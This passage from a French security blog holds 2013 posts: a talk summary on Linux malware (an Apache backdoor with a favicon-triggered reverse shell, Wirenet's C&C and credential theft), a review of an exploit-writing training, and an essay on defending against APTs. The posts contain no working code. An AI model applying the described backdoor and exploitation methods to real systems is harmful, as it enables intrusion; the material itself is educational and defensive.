Il ressemble au premier, sauf qu'il ne s'agit pas d'un module apache, mais du binaire apache lui-même. Il n'est pas obfusqué, et la première chose qui apparaît est la possibilité d'obtenir un reverse shell. (la clé pour ouvrir un shell consiste à demander le favicon.iso au lieu du favicon.ico)
 - Wirenet
Ce malware attaque plutôt les desktops, et ressemble aux malwares windows. Il est chiffré avec de la crypto forte (RC4), mais la clé est présente et permet de lire les chaines de caractères. Le malware communique avec un C&C, un faux serveur a donc été créé, la communication est chiffré avec AES prouvant que les développeurs connaissent la crypto (RC4, AES). Ce C&C permet de lancer des commandes arbitraires sur le poste victime (ps, rm, récupération de credentials pidgin, thunderbird, clear des logs, etc). Ce malware inclut toutefois l'intégralité de ces possibilités à la différence des malwares windows qui n'incluent que le strict minimum et pousse au fur et à mesure des modules additionnels.

En conclusion, Paul rappelle la facilité avec laquelle il est possible d'écrire des malwares sous linux. Une demo de 10 ligne nous montre comment écrire un ransomware en shell. Cette simplicité risque d'en faire une cible de choix, et l'idée comme quoi linux n'a pas de malware est une idée fausse.
Une question est posée lui demandant si les vecteurs d'infections sont connus, et Paul Rascagnères répond qu'il n'a travaillé que sur le reverse de ces malwares qui lui ont été fournis, et non pas sur leur détection. Pour Darkleech, nous savons que les pirates ont utilisés une faille de l'outil Plex pour obtenir un shell sur les machines hébergeant les serveurs web.

vendredi 21 juin 2013

Corelan live: j'y étais!

J'ai participé au training "corelan Live" effectué par le fondateur du blog Corelan et de l’entité Corelan CVG : Peter « corelanc0d3r » Van Eeckhoutte. Ce training proposé par HackInParis durait trois jours, du 17 au 19 juin 2013, et nous étions une vingtaine d'auditeurs.

Au cours de ces trois jours, Peter nous a montré la manière d’écrire des exploits de manière fiable et avec une précision digne d’un horloger suisse: Pas de NOP sled (des chatons meurent lorsqu'un NOP est utilisé), et un placement parfait des shellcodes à l'octet près! Ont été abordés les sujets suivants:
  • L’architecture x86
  • L’exploitation de stack buffer overflow
  • Hotpatching des exploit
  • L’utilisation des SEH pour l’exécution de code
  • L’utilisation de ROP
  • L’écriture de modules metasploit
  • Le bypass d’ASLR et de DEP
  • Le heap spraying et le Use After Free
avec à chaque fois de nombreuses mises en pratique sur des cas concrets et réels: Vrai serveur web, outils SCADA (en version démo), pwnage de wireshark, IE7/8/9/10 fournis en version -1 ou -2 (afin qu'ils soient vulnérables) etc.., avec utilisations de plusieurs CVE récents.

Au final, c’est une formation dense au timing serré, et il n’y a pas eu de temps mort ! Lorsque l’on n’est pas en train d’écrire et fiabiliser un exploit pour en faire un module metasploit, Peter nous détaille les méandres de la mémoire ou de Windows. La formation est tellement compressée que Peter nous demanda de venir à 9h00 plutôt que les 9h30 annoncés, et de finir à 19h au lieu de 17h30. Il nous est même arrivé de sortir à 20h et de continuer l’exercice le soir dans la chambre d’hôtel (où j'ai finalement trouvé la bonne ROP chain qui appelle le VirtualAlloc qui permet de contourner le DEP qui permet d'exécuter l'exploit: Yay \o/ ).
J'ai mangé de l'assembleur 10 heures par jour, du debugger, et exploré la mémoire de nombreux programmes, et ça m'a beaucoup plu. Comme indiqué dans la présentation, c'est une formation qu'on ne peut recommander qu’aux personnes ayant un minimum de bagage dans les buffers overflow, la lecture d’assembleur et l’utilisation de debugger, sans quoi les participants risqueraient à s’y noyer avant la fin de la première matinée.
L’un des gros avantages du training de Peter, c’est la quantité de techniques, tricks, et petites astuces qu’il fournit pour l’écriture d’exploits ou le bypass de certaines protections. Ses années d’expérience dans le domaine ont fait de lui une mine d’or de conseils utiles. Sans compter l’apprentissage des différents tools qu’il utilise comme « mona » (qu’il a lui-même développé). Enfin, Peter est une personne pédagogue qui sait prendre le temps de répondre précisément à toutes les questions, et ça, ça aide beaucoup.

Au bout de ces trois jours de trainings, mélangeant théorie et beaucoup de pratique, on en ressort tous un peu fatigué (je pense), mais finalement très heureux d’y avoir participé. Cette formation m'a aussi fait toucher du doigt la différence entre les chercheurs d'exploit, qui savent trouver des bugs, et les autres personnes qui arrivent à les fiabiliser. Savoir mettre 0x41414141 dans EIP n'est pas forcément simple, mais parvenir à transformer cette info en exploit fiable sur toutes les familles de windows, indépendemment des versions et des défenses (DEP/ASLR, etc..) est un second travail à part entière. 

dimanche 16 juin 2013

Hack In Paris 2013 - Corelan Live

Lundi, mardi et mercredi, je serais au Hack In Paris pour suivre la session Corelan Live, Win32 exploit Development. C'est un training intense, et selon le formateur, il est nécessaire d'avoir de bonnes nuits de sommeils avant et pendant la session tellement le rythme est soutenu durant ces trois jours. Mes VM sont prêtes, mes debuggers à jour, on verra si je finis comme cela. Si vous êtes dans le coin et souhaitez discuter sécurité, faites signe.

Je ne serais malheureusement pas présent aux talks de jeudi et vendredi :-(

lundi 10 juin 2013

Bloquer les APT: mission (im)possible - Partie 4/4

Du hack à l'APT - Partie 1/4
 Introduction : les menaces aveugles et massives du passé
 Ces menaces ont évoluées et sont devenues plus dangereuses

La cible et les 4 cavaliers de l'AP(T)ocalypse - Partie 2/4
 Une cible visée
 La stratégie d'attaque: Les 4 cavaliers de l'AP(T)ocalypse

La persistance de l'APT et l'accès aux données - Partie 3/4
 Persistance et implantation profonde
 Accès au données: espionnage et/ou destruction

Bloquer les APT: mission (im)possible - Partie 4/4
Dans la littérature fantastique le personnage du loup-garou ou du vampire revient souvent. C'est une ennemi très rapide, d'une force herculéenne, très intelligent et qui survit admirablement bien à toutes les tentatives de destruction tout en réussissant à se fondre dans la foule sans se faire reconnaître. Ce qui ressemble finalement à la menace APT. Pour les loups-garous et les vampires, il existe heureusement la fameuse "silver bullet", la balle en argent qui permet de les stopper à coup sûr.
Et contre les APT, qu'avons nous?

1/ A défaut de "silver bullet", une "kill chain"?
Disons le rapidement, il n'existe aujourd'hui pas de "silver bullet" contre les APT, à la manière dont on nous vendait l'antivirus, le firewall ou l'UTM il y a quelques années. Par contre surgit l'idée de Kill Chain, concept tiré d'un document de Lockheed Martin en 2010. Le principe en est le suivant: puisqu'une intrusion APT est une succession d'évènements, essayons de bloquer l'APT à chacun de ses pas.

Le document présente une méthode en 7 étapes pour l'attaquant, et propose 6 modes de défense pour chacune des étapes, à mettre en grille:
Je propose à mon tour une autre Kill Chain, basée sur les cheminements de l'attaquant étape après étape:
(Edit 16/06/2013 : modification kill chain)

En rouge, les actions de l'attaquant, en bleu le factuel ou la victime, et en vert les défenses possibles. Si une flèche repart du vert, c'est que la défense est contournable. Je n'ai pas voulu faire de la publicité pour un produit ou pour un autre, donc aucune entreprise n'est citée nommément.

Pour les notes:
[1] Le désarmement peut être un changement de format. Toutes les pièces jointes d'email pdf sont imprimées en jpg, puis assemblées en pdf et remis dans le mail initial. Ou il peut s'agir d'un nettoyage, i.e. aucun applet java autorisé dans les pages web et nettoyage au niveau réseau.
[2] Et un exploit kernel veut dire une exploitation mémoire (ou pas), à la manière de l'exploit au dessus.
[3] Des VM à usage unique. La VM est lancée, lit un mail, une PJ ou browse une page web, puis est détruite.
[4] Les IOC de Mandiant par exemple
[5] Les analyses réseaux internes n'existent pas, les analyses réseaux en sortie ne sont que rarement faite.
[6] L'attaquant sait qu'il sera détecté tôt ou tard et ne veut pas que l'on puisse facilement remonter à lui ou connaître ses objectifs.

Ce schéma met en exergue quatres choses. La première, c'est qu'il n'existe pas grand chose côté USB. Pourquoi il n'existe pas encore de vrai firewall pour l'USB? Actuellement, on a du tout ou rien. Ce sont des ports USB bloqués au BIOS, ou un filtrage des VendorId/deviceId uniquement. Contre le BYOD, rien. Un filtrage/conformance des trames USB à la manière des firewalls serait un gros plus. (permettant le DLP, le chiffrement à la volée, la configuration centralisée, etc..) [Voir Note 1]

Le second point concerne la cassure au niveau de l'installation du RAT. Il y a vraiment une bascule à ce niveau là. Une fois installé, on peut le détecter et essayer de faire du damage control, mais c'est trop tard. Il est donc à mon avis essentiel de pouvoir remonter le fil de l'attaque pour les diagnostiquer au plus tôt. Ces deux étapes peuvent même être menées par des équipes différentes: des personnes plantent des RAT, d'autres les exploitent.

Un troisième point concerne l'absence de "Déception" dans les défenses. Dans le monde du réseau, les honeypots ont fourni beaucoup d'information; je n'ai pas connaissance (mais je me trompe peut-être) de systèmes d'honeypot contre les APT. (on peut imaginer des faux 'high profiles' qui seront des cibles d'APT, puis des mails, des machines, des réseaux, des processus, des fichiers, etc..)

Un dernier point concerne l'envoi du contenu à la victime. Depuis 2004 on entend parler peu ou prou des mêmes méthodes: mail, page web et USB. Existe t'il un autre moyen? [Voir Note 2]

Bloquer les APT, mission (im)possible? Mission certainement difficile, mais qui demande de gros moyens, un suivi régulier et une intelligence de corrélation d'évènements, on retrouve là les travers de la fameuse "sécurité est un échec"...

2/ Et demain?
Les APT sont des menaces difficiles à contrer simplement. On peut se concentrer sur les défenses, mais on entend de plus en plus parler de l'option offensive, ou hackback. Les US à ce sujet mettent en place une communication toute entière tournée vers les hackback. Il ne se passe pas une semaine sans qu'on entende parler d'une cible américaine qui vient de se faire piller des informations vitales, que c'est scandaleux, qu'il faut réagir face à ça, qu'il est nécessaire de faire quelque chose. A mettre en relation avec les échos des piratages français qui peinent à émerger sur les sites de news en ligne.

Le hackback est-il la seule suite logique à la cyberdéfense? Je ne sais pas, mais je trouve la situation intéressante. Lorsque les APT étaient connus et réservés aux états et grandes entreprises et tout allait bien. Maintenant que les APT sont connus et disponibles à tout un chacun (disposant de moyens raisonnables), les APT sont le grand méchant loup de la sécurité informatique et les gentils pays touchés par le fléau veulent réagir durement, cf les USA qui veulent que les APT soit considérés comme des actes de guerre, permettant des réponses physiques. [Voir Note 3]

Je disais dans un de mes anciens post de blog:
-Dans quelle mesure les cyberattaques vont-elles modifier les pouvoirs de la police étatique vis à vis de l'Internet et par là même rogner sur les libertés d'Internet?
-La "police du net" restera t'elle longtemps l'apanage des sociétés privées alors que l'État est de plus en plus impliqué dans la protection de son cyberterritoire et de ses intérêts
-Est-ce la fin d'un Internet anonyme et sans frontières?
je crois que ces questions restent d'actualité

-----
[Note 1] Je n'étais pas présent au SSTIC 2013, mais il me semble qu'une des conférences a fait mention de filtres USB (?!). Je lirais les actes avec interêt :)
[Note 2] Les confs de sécurité parlent de plus en plus du hack matériel: nos machines sont-elles piégées dès leur conception? Autre chose?
[Note 3] A l'image de l'arme nucléaire? Ceux qui l'ont l'utilisent pour faire de la dissuasion, mais sont les premiers à interdire sa prolifération..